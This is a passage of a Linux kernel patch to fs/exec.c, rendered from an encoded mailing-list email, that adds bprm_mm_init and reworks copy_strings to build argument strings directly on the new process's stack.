<br>+<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; vma-&gt;vm_flags =3D VM_STACK_FLAGS;<br>+&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vma-=
&gt;vm_page_prot =3D protection_map[vma-&gt;vm_flags &amp; 0x7];<br>+&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp; if ((err =3D insert_vm_struct(mm, vma))) {<br>+&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; up_write(&amp;mm-&gt;mmap_sem);
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto err;<br=
>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp; }<br>+<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mm-&gt;stack_vm =3D mm-&gt;total_vm =3D 1;=
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp; up_write(&amp;mm-&gt;mmap_sem);<br>+<br>+&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp; bprm-&gt;p =3D vma-&gt;vm_end - sizeof(void *);
<br>+<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<br>+<br>+err:<br>+=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (vma) {<br>+&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bprm-&gt;vma =
=3D NULL;<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp; kmem_cache_free(vm_area_cachep, vma);<br>+&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>+<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
 if (mm) {<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp; bprm-&gt;mm =3D NULL;
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp; mmdrop(mm);<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>+<=
br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return err;<br>+}<br>+<br>+EXPORT_=
SYMBOL(bprm_mm_init);<br>+<br> /*<br>&nbsp;&nbsp;* count() counts the numbe=
r of strings in array ARGV.<br>&nbsp;&nbsp;*/<br>@@ -199,15 +272,16 @@ stat=
ic int count(char __user * __user *
<br> }<br><br> /*<br>- * &#39;copy_strings()&#39; copies argument/environme=
nt strings from user<br>- * memory to free pages in kernel mem. These are i=
n a format ready<br>- * to be put directly into the top of new user memory.
<br>+ * &#39;copy_strings()&#39; copies argument/environment strings from t=
he old<br>+ * processes&#39;s memory to the new process&#39;s stack.&nbsp;&=
nbsp;The call to get_user_pages()<br>+ * ensures the destination page is cr=
eated and not swapped out.
<br>&nbsp;&nbsp;*/<br> static int copy_strings(int argc, char __user * __us=
er * argv,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;struct linux_binprm *bprm)<br> {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;struct page *kmapped_page =3D NULL;<br>&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char *kaddr =3D NULL;<br>+&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp; unsigned long kpos =3D 0;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int ret;<br><br>&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while (argc-- &gt; 0) {<br>@@ -216=
,69 +290,68 @@ static int copy_strings(int argc, char _<br>&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;unsigned long pos;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (get_user(str, argv+=
argc) ||<br>
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; !(len =3D strnlen_user(str, bprm-&gt;p))) {=
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; !(len =3D strnlen_user(str, MAX_ARG_STR=
LEN))) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;ret =3D -EFAULT;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;goto out;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (bprm-&gt;p &lt; len)&nbsp;=
&nbsp;{<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp; if (MAX_ARG_STRLEN &lt; len) {<br>&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ret =3D -E2BIG;<br>&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;goto out;<br=
>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;}
<br><br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp; bprm-&gt;p -=3D len;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* XXX: add architect=
ure specific overflow check here. */<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* We&#39;re going to wo=
rk our way backwords. */<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pos =3D bprm-&gt;p;
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp; str +=3D len;<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bprm-&gt;p -=3D len;<br><br>&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;while (len &gt; 0) {<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp; int i, new, err;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int offset, bytes_to_copy;<br>-&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct page *page;
<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;offset =3D pos % PAGE_SIZE;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp; i =3D pos/PAGE_SIZE;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp; page =3D bprm-&gt;page[i];<br>-&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; new =3D 0;<br>-&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!page) {
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; page =3D alloc_page(GFP_HIGHUSER);<br>-=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bprm-&gt;page[i] =3D page;<br>-&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp; if (!page) {<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret =3D -ENOMEM;
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (offset =
=3D=3D 0)<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; offset =3D PAGE_SIZE;<br>+<br>=
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bytes_to_copy =
=3D offset;<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i=
f (bytes_to_copy &gt; len)<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bytes_to_copy=
 =3D len;
<br>+<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; offset =
-=3D bytes_to_copy;<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp; pos -=3D bytes_to_copy;<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp; str -=3D bytes_to_copy;<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp; len -=3D bytes_to_copy;<br>+<br>+&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!kmapped_page || kpos !=3D=
 (pos &amp; PAGE_MASK)) {
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct page *page;<br>+<br>+&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; ret =3D get_user_pages(current, bprm-&gt;mm, pos,<br>+&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;1, 1, 1, &amp;page, NULL);
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (ret &lt;=3D 0) {<br>+&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* We&#39;=
ve exceed the stack rlimit. */<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret =3D -E2BIG;<br>&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;go=
to out;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>-&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp; new =3D 1;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp; }<br><br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i=
f (page !=3D kmapped_page) {<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (kmapped=
_page)
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (kmapped_page) {<br>&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;k=
unmap(kmapped_page);<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp; put_page(kmapped_page);<br>+&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp; }
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;kmapped_page =3D page;<br>&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;kaddr =3D kmap(kmapped_page);<br>+&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp; kpos =3D pos &amp; PAGE_MASK;<br>&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>-&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (new &amp;&amp; offset)
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memset(kaddr, 0, offset);<br>-&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bytes_to_copy =3D PAGE_SIZ=
E - offset;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i=
f (bytes_to_copy &gt; len) {<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bytes_to_co=
py =3D len;
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (new)<br>-&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memset(kaddr+offset+le=
n, 0,<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PAGE_SIZE-off=
